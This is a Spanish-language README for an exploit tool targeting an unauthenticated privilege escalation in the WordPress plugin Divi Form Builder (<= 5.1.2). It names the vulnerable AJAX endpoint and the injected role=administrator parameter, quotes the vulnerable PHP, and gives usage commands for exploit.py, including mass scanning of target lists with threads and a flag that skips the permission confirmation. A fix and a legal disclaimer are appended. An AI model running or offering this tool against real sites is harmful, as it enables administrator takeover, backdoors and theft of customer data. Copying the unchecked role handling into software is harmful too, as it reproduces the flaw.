
Divi Form Builder <= 5.1.2 — Escalada de privilegios no autenticada mediante inyección de roles
🔥 Resumen de la Vulnerabilidad
El plugin de WordPress Divi Form Builder en versiones <= 5.1.2 es vulnerable a una escalada de privilegios no autenticada. Esta falla crítica permite a atacantes no autenticados crear una nueva cuenta de Administrador directamente a través de cualquier formulario de Divi Form Builder — incluidos formularios de contacto, formularios de cotización, formularios de boletín informativo o cualquier otro formulario habilitado para DFB.
La vulnerabilidad se origina en la función create_user() de FormSubmissionHandler.php, que acepta el parámetro role directamente de los datos POST enviados por el usuario sin la autorización adecuada ni validación mediante lista blanca. El plugin solo comprueba si el rol enviado existe en el sistema (p. ej., administrator es un rol válido de WordPress) — nunca comprueba si el rol es seguro para el registro público.
Descubrimiento Clave: El fb_nonce utilizado por Divi Form Builder es un nonce global compartido (wp_create_nonce('security')) — idéntico en todos los formularios del sitio. Además, form_type=register puede sobrescribirse mediante POST en el manejador AJAX compartido. Esto significa que cualquier formulario DFB (contacto, cotización, comentarios, etc.) puede ser utilizado como arma para desencadenar el registro de usuarios con asignación arbitraria de roles.
🔍 Plugin Afectado
🧨 Qué Pueden Hacer los Atacantes
🧪 Características del Exploit
/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerrole=administrator junto con los campos normales del formularioresult.txt🧠 Código Vulnerable
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← "administrator" EXISTS, so this check PASSES
}
// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role); // ← PRIVILEGE ESCALATION!
🚀 Uso
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]
Crea targets.txt:
target1.com
target2.com:8080
192.168.1.50
subdomain.target.com
python3 exploit.py -l targets.txt -T 20
🛠 Recomendaciones de Corrección
// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Reject ALL dangerous roles
}
role de los formularios del frontendcurrent_user_can('create_users') para roles privilegiados🧠 Investigador
📚 Referencias
🔒 Aviso Legal:
Esta información se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas. La explotación no autorizada de sistemas informáticos es ilegal y poco ética. Obtén siempre permiso explícito por escrito antes de probar cualquier objetivo que no sea de tu propiedad.
| Capacidad | Impacto |
|---|
| 🔑 Crear cuenta de administrador sin iniciar sesión | Toma Completa del Sitio |
| 📦 Acceder a los datos de clientes de WooCommerce | Fuga de Datos |
| 💉 Editar archivos PHP de plugins/temas | Ejecución Remota de Código |
| 🕳️ Instalar puertas traseras ocultas | Acceso Persistente |
| 👥 Ver todos los datos de los usuarios | Violación de Privacidad |
| Flag | Descripción |
|---|
-t, --target | URL de un único objetivo |
-l, --list | Archivo con la lista de objetivos (uno por línea, http/https opcional) |
-T, --threads | Hilos para el escaneo masivo (por defecto: 10) |
-o, --output | Archivo de salida para los resultados (por defecto: result.txt) |
-u, --username | Nombre de usuario personalizado para la nueva cuenta |
-p, --password | Contraseña personalizada para la nueva cuenta |
-e, --email | Correo electrónico personalizado para la nueva cuenta |
-v, --verbose | Salida de depuración detallada |
--no-confirm | Omitir la solicitud de confirmación de permisos |